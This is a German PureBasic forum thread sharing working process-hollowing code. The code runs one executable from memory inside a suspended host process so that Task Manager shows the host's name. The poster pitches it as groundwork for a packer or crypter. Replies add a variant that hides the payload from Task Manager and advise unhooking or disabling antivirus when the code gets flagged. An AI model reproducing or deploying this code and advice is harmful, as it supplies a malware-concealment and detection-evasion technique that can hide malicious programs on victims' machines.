EXE Datei vom Ram ausführen!

Hier könnt Ihr gute, von Euch geschriebene Codes posten. Sie müssen auf jeden Fall funktionieren und sollten möglichst effizient, elegant und beispielhaft oder einfach nur cool sein.
myself
Beiträge: 67
Registriert: 18.03.2006 12:48

EXE Datei vom Ram ausführen!

Beitrag von myself »

Hi,
Also ich sitz nun seit tagen daran diesen code zu übersetzen und es sieht so aus als hätte ich es nun geschafft :P funktioniert zumindest bei mir problemlos! Jetzt steht dem eigenen exe packer oder crypter nichtsmehr im weg!

Dieser code hier liest Notepad ganz normal in einen buffer ein und startet ihn dan, allerdings wird er im task manager als mspaint.exe angezeigt da man dafür einen host process benötigt.

Code: Alles auswählen

Prototype.l ZwUnmapViewOfSectionPT(Processhandle.l,BaseAdress.l)
ntdll = GetModuleHandle_("ntdll.dll")
Global ZwUnmapViewOfSection_.ZwUnmapViewOfSectionPT = GetProcAddress_(ntdll,"ZwUnmapViewOfSection")

Structure IMAGE_SECTION_HEADER
  Name.b[8]
  StructureUnion
    PhysicalAddress.l
    VirtualSize.l
  EndStructureUnion
  VirtualAddress.l
  SizeOfRawData.l
  PointerToRawData.l
  PointerToRelocations.l
  PointerToLinenumbers.l
  NumberOfRelocations.w
  NumberOfLinenumbers.w
  Characteristics.l
EndStructure 


Procedure injectfile(lpProcessname.s, lpBuffer.l)
;Declare
  Structure IMAGE_SECTION_HEADERS
    a.IMAGE_SECTION_HEADER[95]
  EndStructure
  
  Result.l = 0
  Startupinfo.STARTUPINFO
  ProcessInfo.PROCESS_INFORMATION
  Context.CONTEXT
  BaseAddress.l
  lpNumberOfBytesRead.l
  lpNumberOfBytesWritten.w
  *NtHeaders.IMAGE_NT_HEADERS
  *Sections.IMAGE_SECTION_HEADERS
  i.l

;---
Result = #False
ZeroMemory_(@StartupInfo, SizeOf(STARTUPINFO));
StartupInfo\cb = SizeOf(STARTUPINFO)
StartupInfo\dwFlags = #STARTF_USESHOWWINDOW
StartupInfo\wShowWindow = #SW_SHOW

If CreateProcess_(#NUL,lpProcessname,#NUL,#NUL,#False,#CREATE_SUSPENDED,#NUL,#NUL,StartupInfo,@ProcessInfo)
  Context\ContextFlags = #CONTEXT_INTEGER
  GetThreadContext_(ProcessInfo\hThread, Context);
  ReadProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesRead)
  
  If ZwUnmapViewOfSection_(ProcessInfo\hProcess,BaseAddress) >= 0
    
    *adr.IMAGE_DOS_HEADER = lpBuffer
    *NtHeaders = lpBuffer + *adr\e_lfanew
    
    BaseAddress = VirtualAllocEx_(ProcessInfo\hProcess,*NtHeaders\OptionalHeader\ImageBase,*NtHeaders\OptionalHeader\SizeOfImage,#MEM_RESERVE | #MEM_COMMIT, #PAGE_READWRITE)
    WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress,lpBuffer,*NtHeaders\OptionalHeader\SizeOfHeaders,@lpNumberOfBytesWritten)

    *Sections = @*NtHeaders\OptionalHeader + *NtHeaders\FileHeader\SizeOfOptionalHeader
    
    For i = 0 To *NtHeaders\FileHeader\NumberOfSections-1
WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress+*Sections\a[i]\VirtualAddress,lpBuffer+*Sections\a[i]\PointerToRawData,*Sections\a[i]\SizeOfRawData,@lpNumberOfBytesWritten)
    Next
    
    WriteProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesWritten)
    Context\Eax = BaseAddress + *NtHeaders\OptionalHeader\AddressOfEntryPoint
    Result = SetThreadContext_(ProcessInfo\hThread, Context)
    If Result
          ResumeThread_(ProcessInfo\hThread)
        Else
          TerminateProcess_(ProcessInfo\hProcess, 0);
          CloseHandle_(ProcessInfo\hProcess)
          CloseHandle_(ProcessInfo\hThread)
    EndIf
    
    
  EndIf
EndIf

EndProcedure


If ReadFile(0,"C:\Windows\System32\notepad.exe")
  buffer = AllocateMemory(Lof(0)) ; Datei ganz normal in einen buffer lesen
  ReadData(0,buffer,Lof(0))
  CloseFile(0)
EndIf

injectfile("C:\Windows\System32\mspaint.exe",buffer) ; nun führen wir den buffer im addressraum von paint aus!
Aber vorsicht der code arbeitet mit undokumentierten API befehlen und beim testen des codes ist es nicht nur einmal passiert das der pc bildschirm plötzlich schwarz war. Im normalfall sollte aber alles einwandfrei funktionieren!

Grüße, MySelf
Zuletzt geändert von myself am 10.07.2006 13:21, insgesamt 2-mal geändert.
Benutzeravatar
Rings
Beiträge: 971
Registriert: 29.08.2004 08:48

Beitrag von Rings »

Sehr schöne Anwendung der ZW funktionen

und hiermit entfällt die anzeige im Taskmanager:

Code: Alles auswählen

Filename.s=Space(1024)
myFilename=GetModuleFileName_(0,Filename,1024)
injectfile(Filename,buffer) ; nun führen wir den buffer im addressraum von uns selber(kopie) aus!
Also XP-32Sp2 und W2kSp4 gehen ohne Probleme :)
Rings hat geschrieben:ziert sich nich beim zitieren
myself
Beiträge: 67
Registriert: 18.03.2006 12:48

Beitrag von myself »

hmm bei mir ist es komischerweise der fall das:

Code: Alles auswählen

injectfile("iexplore.exe",buffer) 
zum absturz des computers führt, weis jemand wieso?
Benutzeravatar
Kiffi
Beiträge: 10621
Registriert: 08.09.2004 08:21
Wohnort: Amphibios 9

Beitrag von Kiffi »

Wie myself bereits erwähnte: Dieser Code ist mit Vorsicht zu geniessen

Ich habe gerade versucht, eine DotNet-Anwendung damit zu starten und
den heftigsten Crash seit Jahren erlebt ;-)

Win2K SP4

Grüße ... Kiffi
Hygge
Benutzeravatar
AndyX
Beiträge: 1272
Registriert: 17.12.2004 20:10
Wohnort: Niederösterreich
Kontaktdaten:

Beitrag von AndyX »

lol, AVK meckert wenn ich den Code ausführen will. :lol:
myself
Beiträge: 67
Registriert: 18.03.2006 12:48

Beitrag von myself »

Antivirus firmen setzen hooks auf API Funktionen die andere prozesse beeinflussen, was da helfen würde währe unhooking oder ausmachen des AVs :)
Benutzeravatar
Rings
Beiträge: 971
Registriert: 29.08.2004 08:48

Beitrag von Rings »

Kiffi hat geschrieben:Wie myself bereits erwähnte: Dieser Code ist mit Vorsicht zu geniessen
Ich habe gerade versucht, eine DotNet-Anwendung damit zu starten und
den heftigsten Crash seit Jahren erlebt ;-)
Logisch, denn eine DotNet-Exe hat ein wenig mehr in seinem PE-HEader/Sections.
Bei mir hier gibts keine Exception , dafür aber nen hinweis das die version der runtime net gefunden wird.
Die steht aber in so Manifest-Gedönse drin. Das heisst abber auch das man die Resourcen ect sauber rüberkopieren muss.
Na ja, Crash kann man den Messagerequester dann doch nicht nennen.

injectfile("C:\Programme\Internet Explorer\iexplore.exe",buffer)
geht hier ohne Probleme
Rings hat geschrieben:ziert sich nich beim zitieren
Benutzeravatar
Kiffi
Beiträge: 10621
Registriert: 08.09.2004 08:21
Wohnort: Amphibios 9

Beitrag von Kiffi »

Rings hat geschrieben:Logisch, denn eine DotNet-Exe hat ein wenig mehr in seinem PE-HEader/Sections.
ja, das ist mir klar. Wollte trotzdem probieren, was dann passiert.
Rings hat geschrieben:Na ja, Crash kann man den Messagerequester dann doch nicht nennen.
Mein Rechner schaltete sich ab. Das nenne ich einen Crash.

Grüße ... Kiffi
Hygge
Benutzeravatar
hardfalcon
Beiträge: 3447
Registriert: 29.08.2004 20:46
Wohnort: Luxemburg
Kontaktdaten:

Beitrag von hardfalcon »

Hmmm... Schaut interessant aus... :allright:
„Warum siehst du den Splitter im Auge deines Bruders, aber den dicken fetten schwarzen Zensurbalken vor deinem Auge bemerkst du nicht?“
Benutzeravatar
Rings
Beiträge: 971
Registriert: 29.08.2004 08:48

Beitrag von Rings »

Kiffi hat geschrieben:Mein Rechner schaltete sich ab. Das nenne ich einen Crash.
Hier schaltet sich nix ab, gibt kein BSOD oder sonstwas irgendwo.
Und das mit AntiVir/KerioFirewall enabled .

evtl. isses deinen Kisten zu heiss.
Stell halt mal ein kühles kölsch auf den rechner:

Code: Alles auswählen

NeedHolder= MessageRequester("Admin","Brauch dein Rechner ein kühles Kölsch?", #MB_YESNO + #MB_ICONQUESTION)
 If NeedHolder = 6
    mciSendString_( "set cdaudio door open", "", 0,0)
    MessageRequester("","Na jetzte abber",0)
    mciSendString_( "set cdaudio door closed", "", 0,0)
 EndIf 
;)

Ps: wenn demnächst die BlueRay-Laufwerke kommen
isses noch besser,die haben mehr kapazität.
Dann passt auch ein Pittermänchen !
(Für alle net-Rheinländer:
'Kölsche' Mundart für ein 10Liter-Fass zum direkt-Zapfen)
Rings hat geschrieben:ziert sich nich beim zitieren
Antworten